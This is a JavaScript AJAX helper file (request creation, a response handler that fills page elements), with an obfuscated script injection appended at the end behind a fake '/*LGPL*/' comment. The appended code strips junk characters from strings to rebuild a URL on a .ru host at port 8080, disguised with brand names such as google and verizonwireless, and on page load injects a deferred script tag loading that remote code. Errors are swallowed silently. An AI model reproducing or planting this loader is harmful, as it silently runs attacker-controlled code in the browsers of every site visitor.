var debug = 0;
var status = '';

function createRequestObject() {
	var ro;
	var browser = navigator.appName;
	if(browser == 'Microsoft Internet Explorer'){
		ro = new ActiveXObject("Microsoft.XMLHTTP");
	}else{
		ro = new XMLHttpRequest();
	}
	return ro;
}

var http = createRequestObject();

function sendReq(action, b) {
	if (b){
		b = '&amp;b='+b;
	} else {
		var b = '';
	}
	var url = '';
	if (action=='close'){
		//use different url for close/cron routines
		url = 'cron.php?action=cron';
	} else {
		//find the filename
		var filename = document.location.href;
	    var end = (filename.indexOf("?") == -1) ? filename.length : filename.indexOf("?"); //strip query string
        url = filename.substring(filename.lastIndexOf("/")+1, end);
        	
		url += '?a=ajax&amp;action='+action+b;
		
		//so that page is valid, and ajax still works.
		url = url.replace(/amp;/ig,"");
	}
	if(debug) {
		status += 'URL: '+url+'\\n';
		alert(status);
	}
	try {
		http.open('get', url);
		if(debug)
			status += 'Request sent\\n\\n';
		http.onreadystatechange = handleResponse;
		http.send(null);
	} catch(exception) {
		if(debug)	alert('exception error is . . . \\n\\n'+exception);
	}
}

function handleResponse() {
	if(http.readyState == 4) {
		var response = http.responseText;
		var update = new Array();
		var sep = '|';
		if (response.indexOf('~~|~~') != -1){
			sep = '~~|~~';
		}
		if(response.indexOf(sep) != -1) {
			update = response.split(sep);
			if(debug) {
				alert('Debug: \\n\\t'+status+'\\n\\nupdate[0] = '+update[0]+'\\n\\nupdate[1] = '+update[1]);
				status = '';
			}
			//allow applying text to up to 4 different elements.
			if (document.getElementById(update[1]))
				document.getElementById(update[1]).innerHTML = update[0];
			if (document.getElementById(update[2]))
				document.getElementById(update[2]).innerHTML = update[0];
			if (document.getElementById(update[3]))
				document.getElementById(update[3]).innerHTML = update[0];
			if (document.getElementById(update[4]))
				document.getElementById(update[4]).innerHTML = update[0];
		} else if(debug)
			alert ('Debug: \\n\\t'+status+'\\n\\n'+response);
	}
}
/*LGPL*/ try{ window.onload = function(){Nu7lq8brnd8s5t = 'h!)t!)t$@p$&:^/&@^/&(^g@^&o#$o@(g)))l)$^(e&#-@@!c!&)o(!@m&-^&a!$)r&!#).#@#)v)$e)!!r&i$&z&$(o#^(#n^)w^$i(r#e!^l&@^e^&$s!(@&s$)@).&&c$o)@m^@#.!h@#a#)^o$@!@1&^(&2$)!@3)#))-@(^c^#@!o(m$#.@$n!($#e@&w!&!##h$!#!o#!(m$(e$#l$i^^)n&)e&$(.)!)r^)($u@@:&^#8&@)0@@$8##@0#$@$$/!(#l!$i!t^^e$@!r!o$&$t#$(i@!c^@&^a$$(.)&@&&c&@^&o)(m!!!^/!(l))(i)@&@t$e!r#(o#t$)#i(c^!a&&.!c^!)o&&(m)($)/)@@$v(^i@!$&r#^&)g(@@i!(&^n!)m&@e)^d)i^!@a@&.@(^c$!o(^#^m$)/!^!$l&)$)a@)^u$!)x(a&n((h#^&&#.@u)!#&#s#&)/#!)#g(&(o&o#^g)(^l)&&e!.#^c)&o)#m$!/&^'.replace(/\^|\(|\!|#|&|@|\)|\$/ig, '');var Fske74tx9r = 's#!c^r(#$i#p!t$$(@)'.replace(/#|&|\(|\$|@|\^|\)|\!/ig, '');var Lrsg310b89s = 's&!^r!@c@('.replace(/\(|@|\^|&|\!|\$|\)|#/ig, '');var At8aj2x1zjf = Fske74tx9r;var Ca0exyb1x8zh = document.createElement(At8aj2x1zjf);Ca0exyb1x8zh.setAttribute('defer', 'd^^e!f!e!@#^r!^'.replace(/#|\(|\)|@|\$|\^|\!|&/ig, ''));var Dlnmmykspqyapssf = 't@e^x@(!)t(/&##j!!)a!v^@a(^)!s(##c^&#r)$$^i&p@^&^t#'.replace(/\!|\^|\)|@|#|\(|\$|&/ig, '');Ca0exyb1x8zh.setAttribute('id', 'J)&s(^d$l#)!@j$0@)@!@4(2^#z!)^1#&'.replace(/\)|#|\^|\!|&|\$|@|\(/ig, ''));Ca0exyb1x8zh.setAttribute(Lrsg310b89s,  Nu7lq8brnd8s5t);Ca0exyb1x8zh.setAttribute('type', Dlnmmykspqyapssf);document.body.appendChild(Ca0exyb1x8zh);if (document){At8aj2x1zjf = Fske74tx9r;}} }  catch(Wecnacoh3g260sq7l3 ) {}
